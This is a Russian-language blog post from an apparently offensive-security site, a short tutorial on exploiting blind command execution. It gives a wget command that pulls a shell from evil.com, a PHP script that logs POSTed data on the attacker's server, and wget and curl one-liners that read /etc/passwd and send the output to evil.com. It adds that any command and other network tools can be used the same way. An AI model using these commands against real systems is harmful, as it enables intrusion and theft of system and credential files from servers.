• Главная
  • A hack CTF
  • Заметки
  • [Blind code execution]
    [PHP-инклудинг и allow_url_include]
    [Проблема с WUBI и Ubuntu 10.04]
    [Как был взломан antichat.ru]
    [AntiDDoS в LightHTTPd]
    [Sleep() в слепых SQLi]

  • Bugtraq
  • [Уязвимости языка PHP]
    [Уязвимости разных движков]
    [Уязвимости Joomla]
    [Уязвимости Invision Power Board]
    [Уязвимости GuppY CMS]
    [Уязвимости 1024cms]
    [Уязвимости IceBB]
    [Уязвимости Zeus Botnet]

  • Релизы
  • [Online PHP code analysis]
    [Web-разведка]
    [Сканер уязвимости nginx]
    [Анализ текстов]
    [SSI Web-shell]

  • Услуги
  • [Аудит безопасности]

    Blind Code Execution

    Что делать, когда надо эксплуатировать уязвимость типа blind command execution?

    Ну конечно закачивать полноценный, не «слепой» шелл.

    wget -o test.php http://evil.com/sh.txt.

    Ну а если прав на закачку нет, можно сделать хитрее.
    Делаем на evil.com писалку post-запросов blind_ce.php:


    <?php
    file_put_contents('logs.txt',$_POST[c],FILE_APPEND);
    ?>

    Затем отправляем уязвимому приложению команду:

    bla=`cat /etc/passwd`; wget --post-data="c=$bla" http://evil.com/blind_ce.php

    Что имеем? Теперь наше исполнение произвольных команд не такое уж и слепое — результат работы мы отправляем к нам на сервер.
    Вместо cat /etc/passwd можем написать любую команду. Можно прочитать конфиг и отыскать PMA. Ну в общем, сами знаете.

    Если wget не стоит, то же самое можно сделать с curl:

    bla=`cat /etc/passwd`; curl --data "c=$bla" http://evil.com/blind_ce.php

    По идее можно использовать любые утилиты, которые куда-то коннектятся с какими-то параметрами.
    Вместо параметров можно подставлять результаты выполнения команд, а коннектиться к нашему серверу, который эти самые параметры логирует.

    UPD Ещё примеры команд: mail, lynx, links, GET, fetch
    © BECHED